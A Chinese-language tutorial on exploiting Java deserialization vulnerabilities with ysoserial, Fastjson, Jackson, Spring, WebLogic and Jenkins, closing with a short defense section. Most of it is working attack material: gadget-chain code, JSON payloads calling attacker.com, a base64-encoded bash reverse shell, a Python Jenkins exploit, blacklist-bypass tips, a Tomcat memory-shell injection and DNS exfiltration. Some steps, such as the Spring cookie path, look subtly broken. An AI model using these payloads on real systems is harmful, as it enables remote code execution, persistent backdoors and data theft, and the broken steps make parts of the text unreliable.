Java 反序列化漏洞实战:从 ysoserial 工具链到 3 种主流框架利用分析
Java 反序列化漏洞实战:从 ysoserial 工具链到 3 种主流框架利用分析
1. 反序列化漏洞核心原理剖析
Java 反序列化漏洞的本质在于:当不可信数据被反序列化时,若环境中存在可利用的类链(gadget chain),攻击者就能通过精心构造的序列化数据触发非预期行为。其技术根源可追溯至 Java 序列化机制的三个关键特性:
- 自动递归处理:
ObjectInputStream.readObject()会深度遍历对象图,自动反序列化所有关联对象 - 动态类加载:通过
resolveClass动态加载类定义,不强制验证类合法性 - 方法自动调用:特定场景下会自动调用
readObject、equals、hashCode等魔术方法
典型攻击链构造需要以下组件协同工作:
[触发点] -> [传递链] -> [执行点] │ │ │ │ │ └── Runtime.exec()/Method.invoke() │ └── 多个类的属性传递与方法调用 └── 反序列化入口(readObject/parseObject等)漏洞指纹特征(网络流量层面):
- 二进制数据以
AC ED 00 05开头(Java序列化魔术头) - Base64编码数据以
rO0开头 - HTTP请求中出现
Serialization相关头字段
2. ysoserial 工具链深度解析
ysoserial 是反序列化漏洞研究的标杆工具,其核心价值在于预置了多种 gadget chain。我们重点分析三个典型利用链:
2.1 CommonsCollections 链(CC链)
适用版本:Commons Collections 3.1 - 4.0
核心类:
InvokerTransformer:通过反射调用任意方法ChainedTransformer:形成调用链LazyMap/TransformedMap:触发转换逻辑
构造示例:
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; Transformer chain = new ChainedTransformer(transformers); Map map = new HashMap(); Map lazyMap = LazyMap.decorate(map, chain);防御突破技巧:
- 当
InvokerTransformer被黑名单时,可改用InstantiateTransformer+TrAXFilter组合 - 利用
BeanComparator配合TemplatesImpl实现无反射调用
2.2 Fastjson 链
漏洞特征:
- 攻击载荷以 JSON 格式传递
- 依赖
@type字段指定恶意类 - 常见触发点:
JdbcRowSetImpl、TemplatesImpl
利用模板:
{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker.com/Exploit", "autoCommit": true }版本对抗:
- 1.2.24:直接利用
JdbcRowSetImpl - 1.2.47:需要特殊字符绕过
- 1.2.68+:需要结合原生反序列化
2.3 Jackson 链
触发条件:
- 启用
enableDefaultTyping() - 存在某些特定类(如
org.springframework.context.support.ClassPathXmlApplicationContext)
攻击示例:
String json = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://attacker.com/spel.xml\"]"; ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); mapper.readValue(json, Object.class);3. 主流框架漏洞复现环境搭建
3.1 Spring Framework RCE
环境配置(docker-compose.yml):
version: '3' services: vulnerable-spring: image: vulhub/spring-webflow:2.4.5 ports: - "8080:8080"利用步骤:
- 检测存在漏洞的端点:
curl -I http://target:8080/login?execution=e1s1 - 生成恶意序列化数据:
ysoserial Spring1 "touch /tmp/pwned" > payload.ser - 发送攻击请求:
curl http://target:8080/login -H "Cookie: JSESSIONID=../../../tmp/payload"
3.2 WebLogic T3协议漏洞
环境配置:
weblogic: image: vulhub/weblogic:10.3.6.0 ports: - "7001:7001" - "8453:8453"攻击流程:
- 识别开放T3服务:
nmap -p 7001 --script weblogic-t3-info target - 使用JRMP监听器:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" - 触发反序列化:
java -jar weblogic.jar target:7001 ysoserial/JRMPClient attacker:1099
3.3 Jenkins CLI反序列化
漏洞特征:
- 利用Jenkins CLI协议
- 需要认证但可绕过
- 影响版本:<= 2.56, LTS <= 2.46.1
自动化利用:
import requests import subprocess def generate_payload(cmd): proc = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections5', cmd], stdout=subprocess.PIPE) return proc.stdout.read() r = requests.post('http://target:8080/cli', auth=('user', 'password'), data=generate_payload('touch /tmp/pwned'), headers={'Side':'download'})4. 高级利用技术与防御绕过
4.1 内存马注入技术
Tomcat Filter型内存马:
Field contextField = StandardContext.class.getDeclaredField("context"); contextField.setAccessible(true); StandardContext context = (StandardContext) contextField.get(getField(getField(request, "request"), "request"))); FilterDef filterDef = new FilterDef(); filterDef.setFilterName("evil"); filterDef.setFilterClass(EvilFilter.class.getName()); filterDef.setFilter(new EvilFilter()); FilterMap filterMap = new FilterMap(); filterMap.setFilterName("evil"); filterMap.addURLPattern("/*"); filterMap.setDispatcher(DispatcherType.REQUEST.name()); context.addFilterDef(filterDef); context.addFilterMapBefore(filterMap);4.2 不出网利用技术
文件写入回显:
FileOutputStream fos = new FileOutputStream("/var/www/html/result.txt"); fos.write(("Command: " + cmd + "\n").getBytes()); Process p = Runtime.getRuntime().exec(cmd); BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = reader.readLine()) != null) { fos.write((line + "\n").getBytes()); } fos.close();DNS外带检测:
String domain = "attacker." + System.currentTimeMillis() + ".dnslog.cn"; InetAddress.getByName(domain);5. 防御方案与最佳实践
5.1 代码层防护
白名单校验示例:
public class SecureObjectInputStream extends ObjectInputStream { private static final Set<String> ALLOWED_CLASSES = Set.of("java.util.ArrayList", "com.safe.Model"); protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!ALLOWED_CLASSES.contains(desc.getName())) { throw new InvalidClassException("Unauthorized", desc.getName()); } return super.resolveClass(desc); } }5.2 架构层防护
推荐方案组合:
网络层:
- 限制T3、JRMP等危险协议
- 部署WAF规则拦截序列化特征
运行时防护:
# JVM启动参数 -Dorg.apache.commons.collections.enableUnsafeSerialization=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=false依赖管理:
<!-- Maven依赖检查 --> <dependency> <groupId>org.owasp</groupId> <artifactId>dependency-check-maven</artifactId> <version>6.5.3</version> <executions> <execution> <goals> <goal>check</goal> </goals> </execution> </executions> </dependency>
6. 漏洞检测与监控体系
自动化检测脚本框架:
class JavaDeserializationScanner: def __init__(self, target): self.target = target self.vulnerabilities = [] def check_weblogic(self): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((self.target, 7001)) sock.send(b"t3 12.2.1\nAS:255\nHL:19\n\n") response = sock.recv(1024) if b"WebLogic" in response: self.vulnerabilities.append("WebLogic T3 Protocol Exposure") except Exception as e: pass def generate_report(self): return { "target": self.target, "vulnerabilities": self.vulnerabilities, "timestamp": datetime.now().isoformat() }日志监控关键指标:
- 异常堆栈中出现
ObjectInputStream相关调用 - 频繁出现的
ClassNotFoundException异常 - 非常规端口上的 JRMP 连接请求
